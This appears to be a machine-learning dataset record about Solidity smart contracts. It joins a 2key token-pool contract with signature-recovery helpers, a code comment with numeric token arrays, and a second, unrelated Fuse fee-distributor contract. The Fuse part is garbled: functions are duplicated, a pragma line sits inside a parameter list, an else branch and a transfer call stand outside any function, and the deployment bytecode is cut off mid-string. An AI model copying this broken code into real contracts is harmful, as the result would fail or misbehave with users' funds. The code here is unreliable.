15000, // gas limit
c, // sload(dc_slot), // to addr. append var to _slot to access storage variable
0, // not transfer any ether (comment if using staticcall)
ptr, // Inputs are stored at location ptr
0x44, // Inputs are 4 bytes for signature and 2 uint256
ptr, //Store output over input
0x20) //Outputs are 1 uint long
answer := mload(ptr) // Assign output to answer var
mstore(0x40,add(ptr,0x20)) // Set storage pointer to new space
}
}
function loadAddress(bytes sig, uint idx) public pure returns (address) {
address influencer;
idx += 20;
assembly
{
influencer := mload(add(sig, idx))
}
return influencer;
}
function loadUint8(bytes sig, uint idx) public pure returns (uint8) {
uint8 weight;
idx += 1;
assembly
{
weight := mload(add(sig, idx))
}
return weight;
}
function recoverHash(bytes32 hash, bytes sig, uint idx) public pure returns (address) {
// same as recoverHash in utils/sign.js
// The signature format is a compact form of:
// {bytes32 r}{bytes32 s}{uint8 v}
// Compact means, uint8 is not padded to 32 bytes.
require (sig.length >= 65+idx, 'bad signature length');
idx += 32;
bytes32 r;
assembly
{
r := mload(add(sig, idx))
}
idx += 32;
bytes32 s;
assembly
{
s := mload(add(sig, idx))
}
idx += 1;
uint8 v;
assembly
{
v := mload(add(sig, idx))
}
if (v >= 32) { // handle case when signature was made with ethereum web3.eth.sign or getSign which is for signing ethereum transactions
v -= 32;
bytes memory prefix = "\x19Ethereum Signed Message:\n32"; // 32 is the number of bytes in the following hash
hash = keccak256(abi.encodePacked(prefix, hash));
}
if (v <= 1) v += 27;
require(v==27 || v==28,'bad sig v');
//https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/cryptography/ECDSA.sol#L57
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, 'bad sig s');
return ecrecover(hash, v, r, s);
}
function recoverSigMemory(bytes sig) private pure returns (address[], address[], uint8[], uint[], uint) {
uint8 version = loadUint8(sig, 0);
uint msg_len = (version == 1) ? 1+65+20 : 1+20+20;
uint n_influencers = (sig.length-21) / (65+msg_len);
uint8[] memory weights = new uint8[](n_influencers);
address[] memory keys = new address[](n_influencers);
if ((sig.length-21) % (65+msg_len) > 0) {
n_influencers++;
}
address[] memory influencers = new address[](n_influencers);
uint[] memory offsets = new uint[](n_influencers);
return (influencers, keys, weights, offsets, msg_len);
}
function recoverSigParts(bytes sig, address last_address) private pure returns (address[], address[], uint8[], uint[]) {
// sig structure:
// 1 byte version 0 or 1
// 20 bytes are the address of the contractor or the influencer who created sig.
// this is the "anchor" of the link
// It must have a public key aleady stored for it in public_link_key
// Begining of a loop on steps in the link:
// * 65 bytes are step-signature using the secret from previous step
// * message of the step that is going to be hashed and used to compute the above step-signature.
// message length depend on version 41 (version 0) or 86 (version 1):
// * 1 byte cut (percentage) each influencer takes from the bounty. the cut is stored in influencer2cut or weight for voting
// * 20 bytes address of influencer (version 0) or 65 bytes of signature of cut using the influencer address to sign
// * 20 bytes public key of the last secret
// In the last step the message can be optional. If it is missing the message used is the address of the sender
uint idx = 0;
uint msg_len;
uint8[] memory weights;
address[] memory keys;
address[] memory influencers;
uint[] memory offsets;
(influencers, keys, weights, offsets, msg_len) = recoverSigMemory(sig);
idx += 1; // skip version
idx += 20; // skip old_address which should be read by the caller in order to get old_key
uint count_influencers = 0;
while (idx + 65 <= sig.length) {
offsets[count_influencers] = idx;
idx += 65; // idx was increased by 65 for the signature at the begining which we will process later
if (idx + msg_len <= sig.length) { // its a < and not a <= because we dont want this to be the final iteration for the converter
weights[count_influencers] = loadUint8(sig, idx);
require(weights[count_influencers] > 0,'weight not defined (1..255)'); // 255 are used to indicate default (equal part) behaviour
idx++;
if (msg_len == 41) // 1+20+20 version 0
{
influencers[count_influencers] = loadAddress(sig, idx);
idx += 20;
keys[count_influencers] = loadAddress(sig, idx);
idx += 20;
} else if (msg_len == 86) // 1+65+20 version 1
{
keys[count_influencers] = loadAddress(sig, idx+65);
influencers[count_influencers] = recoverHash(
keccak256(
abi.encodePacked(
keccak256(abi.encodePacked("bytes binding to weight","bytes binding to public")),
keccak256(abi.encodePacked(weights[count_influencers],keys[count_influencers]))
)
),sig,idx);
idx += 65;
idx += 20;
}
} else {
// handle short signatures generated with free_take
influencers[count_influencers] = last_address;
}
count_influencers++;
}
require(idx == sig.length,'illegal message size');
return (influencers, keys, weights, offsets);
}
function recoverSig(bytes sig, address old_key, address last_address) public pure returns (address[], address[], uint8[]) {
// validate sig AND
// recover the information from the signature: influencers, public_link_keys, weights/cuts
// influencers may have one more address than the keys and weights arrays
//
require(old_key != address(0),'no public link key');
address[] memory influencers;
address[] memory keys;
uint8[] memory weights;
uint[] memory offsets;
(influencers, keys, weights, offsets) = recoverSigParts(sig, last_address);
// check if we received a valid signature
for(uint i = 0; i < influencers.length; i++) {
if (i < weights.length) {
require (recoverHash(keccak256(abi.encodePacked(weights[i], keys[i], influencers[i])),sig,offsets[i]) == old_key, 'illegal signature');
old_key = keys[i];
} else {
// signed message for the last step is the address of the converter
require (recoverHash(keccak256(abi.encodePacked(influencers[i])),sig,offsets[i]) == old_key, 'illegal last signature');
}
}
return (influencers, keys, weights);
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
require(c >= _a);
return c;
}
}
contract ITwoKeySingletonUtils {
address public TWO_KEY_SINGLETON_REGISTRY;
// Modifier to restrict method calls only to maintainers
modifier onlyMaintainer {
address twoKeyMaintainersRegistry = getAddressFromTwoKeySingletonRegistry("TwoKeyMaintainersRegistry");
require(ITwoKeyMaintainersRegistry(twoKeyMaintainersRegistry).checkIsAddressMaintainer(msg.sender));
_;
}
/**
* @notice Function to get any singleton contract proxy address from TwoKeySingletonRegistry contract
* @param contractName is the name of the contract we're looking for
*/
function getAddressFromTwoKeySingletonRegistry(
string contractName
)
internal
view
returns (address)
{
return ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY)
.getContractProxyAddress(contractName);
}
function getNonUpgradableContractAddressFromTwoKeySingletonRegistry(
string contractName
)
internal
view
returns (address)
{
return ITwoKeySingletoneRegistryFetchAddress(TWO_KEY_SINGLETON_REGISTRY)
.getNonUpgradableContractAddress(contractName);
}
}
contract UpgradeabilityStorage {
// Versions registry
ITwoKeySingletonesRegistry internal registry;
// Address of the current implementation
address internal _implementation;
/**
* @dev Tells the address of the current implementation
* @return address of the current implementation
*/
function implementation() public view returns (address) {
return _implementation;
}
}
contract Upgradeable is UpgradeabilityStorage {
/**
* @dev Validates the caller is the versions registry.
* @param sender representing the address deploying the initial behavior of the contract
*/
function initialize(address sender) public payable {
require(msg.sender == address(registry));
}
}
contract TokenPool is Upgradeable, ITwoKeySingletonUtils {
bool initialized = false;
string constant _twoKeyAdmin = "TwoKeyAdmin";
string constant _twoKeyEconomy = "TwoKeyEconomy";
modifier onlyTwoKeyAdmin {
address twoKeyAdmin = getAddressFromTwoKeySingletonRegistry(_twoKeyAdmin);
require(msg.sender == twoKeyAdmin);
_;
}
/**
* @notice Function to retrieve the balance of tokens on the contract
*/
function getContractBalance()
public
view
returns (uint)
{
address twoKeyEconomy = getNonUpgradableContractAddressFromTwoKeySingletonRegistry(_twoKeyEconomy);
return IERC20(twoKeyEconomy).balanceOf(address(this));
}
/**
* @notice Function to transfer tokens
*/
function transferTokens(
address receiver,
uint amount
)
internal
{
address twoKeyEconomy = getNonUpgradableContractAddressFromTwoKeySingletonRegistry(_twoKeyEconomy);
IERC20(twoKeyEconomy).transfer(receiver,amount);
}
}
contract TwoKeyParticipationMiningPool is TokenPool {
using SafeMath for *;
using Call for *;
/**
* Constant keys for storage contract
*/
string constant _isAddressWhitelisted = "isAddressWhitelisted";
string constant _epochInsideYear = "epochInsideYear";
string constant _isExistingSignature = "isExistingSignature";
string constant _dateStartingCountingMonths = "dateStartingCountingMonths";
// Initial amount of tokens is 120M
uint constant public initialAmountOfTokens = 120 * (1e6) * (1e18);
// 1M tokens monthly allowance
uint constant public monthlyTransferAllowance = 1 * (1e6) * (1e18);
string constant _signatoryAddress = "signatoryAddress";
string constant _twoKeyParticipationsManager = "TwoKeyParticipationPaymentsManager";
/**
* Pointer to it's proxy storage contract
*/
ITwoKeyParticipationMiningPoolStorage public PROXY_STORAGE_CONTRACT;
/**
* @notice Modifier to restrict calls only to TwoKeyAdmin or
* some of whitelisted addresses inside this contract
*/
modifier onlyTwoKeyAdminOrWhitelistedAddress {
address twoKeyAdmin = getAddressFromTwoKeySingletonRegistry(_twoKeyAdmin);
require(msg.sender == twoKeyAdmin || isAddressWhitelisted(msg.sender));
_;
}
modifier onlyTwoKeyCongress {
address twoKeyCongress = getNonUpgradableContractAddressFromTwoKeySingletonRegistry("TwoKeyCongress");
require(msg.sender == twoKeyCongress);
_;
}
function setInitialParams(
address twoKeySingletonesRegistry,
address _proxyStorage
)
external
{
require(initialized == false);
TWO_KEY_SINGLETON_REGISTRY = twoKeySingletonesRegistry;
PROXY_STORAGE_CONTRACT = ITwoKeyParticipationMiningPoolStorage(_proxyStorage);
initialized = true;
}
function setBool(
bytes32 key,
bool value
)
internal
{
PROXY_STORAGE_CONTRACT.setBool(key,value);
}
function getBool(
bytes32 key
)
internal
view
returns (bool)
{
return PROXY_STORAGE_CONTRACT.getBool(key);
}
// Internal wrapper method to manipulate storage contract
function setUint(
bytes32 key,
uint value
)
internal
{
PROXY_STORAGE_CONTRACT.setUint(key, value);
}
// Internal wrapper method to manipulate storage contract
function getUint(
bytes32 key
)
internal
view
returns (uint)
{
return PROXY_STORAGE_CONTRACT.getUint(key);
}
function setSignatureIsExisting(
bytes signature
)
internal
{
setBool(keccak256(_isExistingSignature,signature), true);
}
function isMaintainer(
address _address
)
internal
view
returns (bool)
{
address twoKeyMaintainersRegistry = getAddressFromTwoKeySingletonRegistry("TwoKeyMaintainersRegistry");
return ITwoKeyMaintainersRegistry(twoKeyMaintainersRegistry).checkIsAddressMaintainer(_address);
}
/**
* @notice Function where congress can set signatory address
* and that's the only address eligible to sign the rewards messages
* @param signatoryAddress is the address which will be used to sign rewards
*/
function setSignatoryAddress(
address signatoryAddress
)
public
onlyTwoKeyCongress
{
PROXY_STORAGE_CONTRACT.setAddress(
keccak256(_signatoryAddress),
signatoryAddress
);
}
/**
* @notice Function which can only be called by TwoKeyAdmin contract
* to add new whitelisted addresses to the contract. Whitelisted address
* can send tokens out of this contract
* @param _newWhitelistedAddress is the new whitelisted address we want to add
*/
function addWhitelistedAddress(
address _newWhitelistedAddress
)
public
onlyTwoKeyAdmin
{
bytes32 keyHash = keccak256(_isAddressWhitelisted,_newWhitelistedAddress);
PROXY_STORAGE_CONTRACT.setBool(keyHash, true);
}
/**
* @notice Function which can only be called by TwoKeyAdmin contract
* to remove any whitelisted address from the contract.
* @param _addressToBeRemovedFromWhitelist is the new whitelisted address we want to remove
*/
function removeWhitelistedAddress(
address _addressToBeRemovedFromWhitelist
)
public
onlyTwoKeyAdmin
{
bytes32 keyHash = keccak256(_isAddressWhitelisted, _addressToBeRemovedFromWhitelist);
PROXY_STORAGE_CONTRACT.setBool(keyHash, false);
}
/**
* @notice Function where maintainer can set withdrawal parameters
* @param dateStartingCountingMonths is the date (unix timestamp) from which
* the tokens are getting unlocked
*/
function setWithdrawalParameters(
uint dateStartingCountingMonths
)
public
onlyMaintainer
{
// Require that this function can be called only once
require(getUint(keccak256(_dateStartingCountingMonths)) == 0);
// Set date when counting months starts
setUint(
keccak256(_dateStartingCountingMonths),
dateStartingCountingMonths
);
}
/**
* @notice Function which does transfer with special requirements with annual limit
* @param amountOfTokens is the amount of tokens sent
* @dev Only TwoKeyAdmin or Whitelisted address contract can issue this call
*/
function transferTokensToAddress(
uint amountOfTokens
)
public
onlyTwoKeyAdminOrWhitelistedAddress
{
// Assert that amount of tokens to be withdrawn is less than amount of tokens unlocked
require(amountOfTokens < getAmountOfTokensUnlockedForWithdrawal(block.timestamp));
//We're always sending tokens to ParticipationPaymentsManager
address receiver = getAddressFromTwoKeySingletonRegistry(_twoKeyParticipationsManager);
// Transfer the tokens
super.transferTokens(receiver,amountOfTokens);
//Alert that tokens have been transferred
ITwoKeyParticipationPaymentsManager(receiver).transferTokensFromParticipationMiningPool(
amountOfTokens
);
}
/**
* @notice Function where user can come with signature taken on plasma and
* withdraw tokens he has earned
* @param signature is the signature created by signatory address for withdrawal
* @param amountOfTokens is the exact amount of tokens signed inside this signature
*/
function withdrawTokensWithSignature(
bytes signature,
uint amountOfTokens
)
public
{
// Assert that amount of tokens to be withdrawn is less than amount of tokens unlocked
require(amountOfTokens < getAmountOfTokensUnlockedForWithdrawal(block.timestamp));
// recover signer of signature
address messageSigner = recoverSignature(
msg.sender,
amountOfTokens,
signature
);
// Assert that this signature is created by signatory address
require(getSignatoryAddress() == messageSigner);
// First check if this signature is used
require(isExistingSignature(signature) == false);
// Set that signature is existing and can't be used anymore
setSignatureIsExisting(signature);
// Emit event that user have withdrawn his network earnings
ITwoKeyEventSource(getAddressFromTwoKeySingletonRegistry("TwoKeyEventSource")).emitUserWithdrawnNetworkEarnings(
msg.sender,
amountOfTokens
);
// Transfer ERC20 tokens from pool to user
super.transferTokens(msg.sender, amountOfTokens);
}
/**
* @notice Function to check if the selected address is whitelisted
* @param _address is the address we want to get this information
* @return result of address being whitelisted
*/
function isAddressWhitelisted(
address _address
)
public
view
returns (bool)
{
bytes32 keyHash = keccak256(_isAddressWhitelisted, _address);
return PROXY_STORAGE_CONTRACT.getBool(keyHash);
}
/**
* @notice Function to calculate amount of tokens available to be withdrawn
* at current moment which will take care about monthly allowances
* @param timestamp is the timestamp of withdrawal
*/
function getAmountOfTokensUnlockedForWithdrawal(
uint timestamp
)
public
view
returns (uint)
{
uint dateStartedCountingMonths = getDateStartingCountingMonths();
// We do sub here mostly because of underflow
uint totalTimePassedFromUnlockingDay = timestamp.sub(dateStartedCountingMonths);
// Calculate total amount of tokens being unlocked by now
uint totalUnlockedByNow = ((totalTimePassedFromUnlockingDay) / (30 days) + 1) * monthlyTransferAllowance;
// Get total amount already transferred
uint totalTokensTransferedByNow = getTotalAmountOfTokensTransfered();
// Return tokens available at this moment
return (totalUnlockedByNow.sub(totalTokensTransferedByNow));
}
/**
* @notice Function where maintainer can check who signed the message
* @param userAddress is the address of user for who we signed message
* @param amountOfTokens is the amount of pending rewards user wants to claim
* @param signature is the signature created by maintainer
*/
function recoverSignature(
address userAddress,
uint amountOfTokens,
bytes signature
)
public
view
returns (address)
{
// Generate hash
bytes32 hash = keccak256(
abi.encodePacked(
keccak256(abi.encodePacked('bytes binding user rewards')),
keccak256(abi.encodePacked(userAddress,amountOfTokens))
)
);
// Recover signer message from signature
return Call.recoverHash(hash,signature,0);
}
/**
* @notice Function to check if signature is already existing,
means that is has been used, and can't be used anymore
* @param signature is the signature created by maintainer
*/
function isExistingSignature(
bytes signature
)
public
view
returns (bool)
{
return getBool(keccak256(_isExistingSignature,signature));
}
/**
* @notice Function to get total amount of tokens transfered by now
*/
function getTotalAmountOfTokensTransfered()
public
view
returns (uint)
{
// Sub from initial amount of tokens current balance
return initialAmountOfTokens.sub(
IERC20(getNonUpgradableContractAddressFromTwoKeySingletonRegistry(_twoKeyEconomy)).balanceOf(address(this))
);
}
/**
* @notice Function to get the first date from which the time started to unlock
*/
function getDateStartingCountingMonths()
public
view
returns (uint)
{
return getUint(keccak256(_dateStartingCountingMonths));
}
/**
* @notice Function to get how many tokens are getting unlocked every month
*/
function getMonthlyTransferAllowance()
public
view
returns (uint)
{
return monthlyTransferAllowance;
}
/**
* @notice Function to fetch signatory address
*/
function getSignatoryAddress()
public
view
returns (address)
{
return PROXY_STORAGE_CONTRACT.getAddress(keccak256(_signatoryAddress));
}
}
|
its a < and not a <= because we dont want this to be the final iteration for the converter
|
if (idx + msg_len <= sig.length) {
| 6,009,854 |
[
1,
1282,
225,
279,
411,
471,
486,
279,
1648,
2724,
732,
14046,
2545,
333,
358,
506,
326,
727,
6532,
364,
326,
6027,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5411,
309,
261,
3465,
397,
1234,
67,
1897,
1648,
3553,
18,
2469,
13,
288,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/100/0xB4d0774C38bD9A4539CA7810ddEd8C3599a766Fe/sources/contracts/rari-fuse/src/FuseFeeDistributor.sol
|
* @title FuseFeeDistributor @notice FuseFeeDistributor controls and receives protocol fees from Fuse pools and relays admin actions to Fuse pools./
|
contract FuseFeeDistributor is Initializable, OwnableUpgradeable {
using AddressUpgradeable for address;
using SafeERC20Upgradeable for IERC20Upgradeable;
function initialize(
address owner,
uint256 _defaultInterestFeeRate,
address initialComptrollerImplementation,
address initialCEtherDelegate,
address initialCErc20Delegate
pragma solidity 0.6.12;
) public initializer {
require(_defaultInterestFeeRate <= 1e18, "!Interest fee");
__Ownable_init();
transferOwnership(owner);
defaultInterestFeeRate = _defaultInterestFeeRate;
maxSupplyEth = uint256(-1);
maxUtilizationRate = uint256(-1);
comptrollerImplementationWhitelist[address(0)][
initialComptrollerImplementation
] = true;
cEtherDelegateWhitelist[address(0)][initialCEtherDelegate][
false
] = true;
cErc20DelegateWhitelist[address(0)][initialCErc20Delegate][
false
] = true;
}
uint256 public defaultInterestFeeRate;
function _setDefaultInterestFeeRate(uint256 _defaultInterestFeeRate)
external
onlyOwner
{
require(_defaultInterestFeeRate <= 1e18, "!Interest fee");
defaultInterestFeeRate = _defaultInterestFeeRate;
}
function _withdrawAssets(address erc20Contract) external {
if (erc20Contract == address(0)) {
uint256 balance = address(this).balance;
require(balance > 0, "!balance");
require(success, "!transfer");
IERC20Upgradeable token = IERC20Upgradeable(erc20Contract);
uint256 balance = token.balanceOf(address(this));
require(balance > 0, "!balance");
token.safeTransfer(owner(), balance);
}
}
function _withdrawAssets(address erc20Contract) external {
if (erc20Contract == address(0)) {
uint256 balance = address(this).balance;
require(balance > 0, "!balance");
require(success, "!transfer");
IERC20Upgradeable token = IERC20Upgradeable(erc20Contract);
uint256 balance = token.balanceOf(address(this));
require(balance > 0, "!balance");
token.safeTransfer(owner(), balance);
}
}
(bool success, ) = owner().call{value: balance}("");
} else {
uint256 public minBorrowEth;
uint256 public maxSupplyEth;
uint256 public maxUtilizationRate;
function _setPoolLimits(
uint256 _minBorrowEth,
uint256 _maxSupplyEth,
uint256 _maxUtilizationRate
) external onlyOwner {
minBorrowEth = _minBorrowEth;
maxSupplyEth = _maxSupplyEth;
maxUtilizationRate = _maxUtilizationRate;
}
function _pauseAllBorrowing() external onlyGuardian {
minBorrowEth = uint256(-1);
}
receive() external payable {}
function _callPool(address[] calldata targets, bytes[] calldata data)
external
onlyOwner
{
require(
targets.length > 0 && targets.length == data.length,
"!Array lengths"
);
for (uint256 i = 0; i < targets.length; i++)
targets[i].functionCall(data[i]);
}
function _callPool(address[] calldata targets, bytes calldata data)
external
onlyOwner
{
require(targets.length > 0, "!target addresses");
for (uint256 i = 0; i < targets.length; i++)
targets[i].functionCall(data);
}
function deployCEther(bytes calldata constructorData)
external
virtual
returns (address)
{
(address comptroller, , , , address implementation, , , ) = abi.decode(
constructorData,
(address, address, string, string, address, bytes, uint256, uint256)
);
require(
cEtherDelegateWhitelist[address(0)][implementation][false],
"!CEtherDelegate"
);
require(comptroller == msg.sender, "!Comptroller");
bytes
memory cEtherDelegatorCreationCode = hex"608060405234801561001057600080fd5b50604051610785380380610785833981810160405261010081101561003457600080fd5b8151602083015160408085018051915193959294830192918464010000000082111561005f57600080fd5b90830190602082018581111561007457600080fd5b825164010000000081118282018810171561008e57600080fd5b82525081516020918201929091019080838360005b838110156100bb5781810151838201526020016100a3565b50505050905090810190601f1680156100e85780820380516001836020036101000a031916815260200191505b506040526020018051604051939291908464010000000082111561010b57600080fd5b90830190602082018581111561012057600080fd5b825164010000000081118282018810171561013a57600080fd5b82525081516020918201929091019080838360005b8381101561016757818101518382015260200161014f565b50505050905090810190601f1680156101945780820380516001836020036101000a031916815260200191505b506040818152602083015192018051929491939192846401000000008211156101bc57600080fd5b9083019060208201858111156101d157600080fd5b82516401000000008111828201881017156101eb57600080fd5b82525081516020918201929091019080838360005b83811015610218578181015183820152602001610200565b50505050905090810190601f1680156102455780820380516001836020036101000a031916815260200191505b5060405260200180519060200190929190805190602001909291905050506103ba8489898989878760405160240180876001600160a01b03166001600160a01b03168152602001866001600160a01b03166001600160a01b031681526020018060200180602001858152602001848152602001838103835287818151815260200191508051906020019080838360005b838110156102ed5781810151838201526020016102d5565b50505050905090810190601f16801561031a5780820380516001836020036101000a031916815260200191505b50838103825286518152865160209182019188019080838360005b8381101561034d578181015183820152602001610335565b50505050905090810190601f16801561037a5780820380516001836020036101000a031916815260200191505b5060408051601f198184030181529190526020810180516001600160e01b03908116631e70b25560e21b1790915290995061049c16975050505050505050565b5061048e848560008660405160240180846001600160a01b03166001600160a01b031681526020018315151515815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561042557818101518382015260200161040d565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b5060408051601f198184030181529190526020810180516001600160e01b039081166350d85b7360e01b1790915290955061049c169350505050565b50505050505050505061055e565b606060006060846001600160a01b0316846040518082805190602001908083835b602083106104dc5780518252601f1990920191602091820191016104bd565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461053c576040519150601f19603f3d011682016040523d82523d6000602084013e610541565b606091505b50915091506000821415610556573d60208201fd5b949350505050565b6102188061056d6000396000f3fe60806040526004361061001e5760003560e01c80635c60da1b146100e1575b6000546040805160048152602481019091526020810180516001600160e01b031663076de25160e21b17905261005d916001600160a01b031690610112565b50600080546040516001600160a01b0390911690829036908083838082843760405192019450600093509091505080830381855af49150503d80600081146100c1576040519150601f19603f3d011682016040523d82523d6000602084013e6100c6565b606091505b505090506040513d6000823e8180156100dd573d82f35b3d82fd5b3480156100ed57600080fd5b506100f66101d4565b604080516001600160a01b039092168252519081900360200190f35b606060006060846001600160a01b0316846040518082805190602001908083835b602083106101525780518252601f199092019160209182019101610133565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d80600081146101b2576040519150601f19603f3d011682016040523d82523d6000602084013e6101b7565b606091505b509150915060008214156101cc573d60208201fd5b949350505050565b6000546001600160a01b03168156fea265627a7a7231582099cb628afa03dbc8f6a11f192f7b72ed7944736aab47f11754925fa6343e9c9864736f6c63430005110032";
cEtherDelegatorCreationCode = abi.encodePacked(
cEtherDelegatorCreationCode,
constructorData
);
bytes32 salt = keccak256(
abi.encodePacked(msg.sender, address(0), block.number)
);
address proxy;
assembly {
proxy := create2(
0,
add(cEtherDelegatorCreationCode, 32),
mload(cEtherDelegatorCreationCode),
salt
)
if iszero(extcodesize(proxy)) {
revert(0, "!CEther.")
}
}
return proxy;
}
function deployCEther(bytes calldata constructorData)
external
virtual
returns (address)
{
(address comptroller, , , , address implementation, , , ) = abi.decode(
constructorData,
(address, address, string, string, address, bytes, uint256, uint256)
);
require(
cEtherDelegateWhitelist[address(0)][implementation][false],
"!CEtherDelegate"
);
require(comptroller == msg.sender, "!Comptroller");
bytes
memory cEtherDelegatorCreationCode = hex"608060405234801561001057600080fd5b50604051610785380380610785833981810160405261010081101561003457600080fd5b8151602083015160408085018051915193959294830192918464010000000082111561005f57600080fd5b90830190602082018581111561007457600080fd5b825164010000000081118282018810171561008e57600080fd5b82525081516020918201929091019080838360005b838110156100bb5781810151838201526020016100a3565b50505050905090810190601f1680156100e85780820380516001836020036101000a031916815260200191505b506040526020018051604051939291908464010000000082111561010b57600080fd5b90830190602082018581111561012057600080fd5b825164010000000081118282018810171561013a57600080fd5b82525081516020918201929091019080838360005b8381101561016757818101518382015260200161014f565b50505050905090810190601f1680156101945780820380516001836020036101000a031916815260200191505b506040818152602083015192018051929491939192846401000000008211156101bc57600080fd5b9083019060208201858111156101d157600080fd5b82516401000000008111828201881017156101eb57600080fd5b82525081516020918201929091019080838360005b83811015610218578181015183820152602001610200565b50505050905090810190601f1680156102455780820380516001836020036101000a031916815260200191505b5060405260200180519060200190929190805190602001909291905050506103ba8489898989878760405160240180876001600160a01b03166001600160a01b03168152602001866001600160a01b03166001600160a01b031681526020018060200180602001858152602001848152602001838103835287818151815260200191508051906020019080838360005b838110156102ed5781810151838201526020016102d5565b50505050905090810190601f16801561031a5780820380516001836020036101000a031916815260200191505b50838103825286518152865160209182019188019080838360005b8381101561034d578181015183820152602001610335565b50505050905090810190601f16801561037a5780820380516001836020036101000a031916815260200191505b5060408051601f198184030181529190526020810180516001600160e01b03908116631e70b25560e21b1790915290995061049c16975050505050505050565b5061048e848560008660405160240180846001600160a01b03166001600160a01b031681526020018315151515815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561042557818101518382015260200161040d565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b5060408051601f198184030181529190526020810180516001600160e01b039081166350d85b7360e01b1790915290955061049c169350505050565b50505050505050505061055e565b606060006060846001600160a01b0316846040518082805190602001908083835b602083106104dc5780518252601f1990920191602091820191016104bd565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461053c576040519150601f19603f3d011682016040523d82523d6000602084013e610541565b606091505b50915091506000821415610556573d60208201fd5b949350505050565b6102188061056d6000396000f3fe60806040526004361061001e5760003560e01c80635c60da1b146100e1575b6000546040805160048152602481019091526020810180516001600160e01b031663076de25160e21b17905261005d916001600160a01b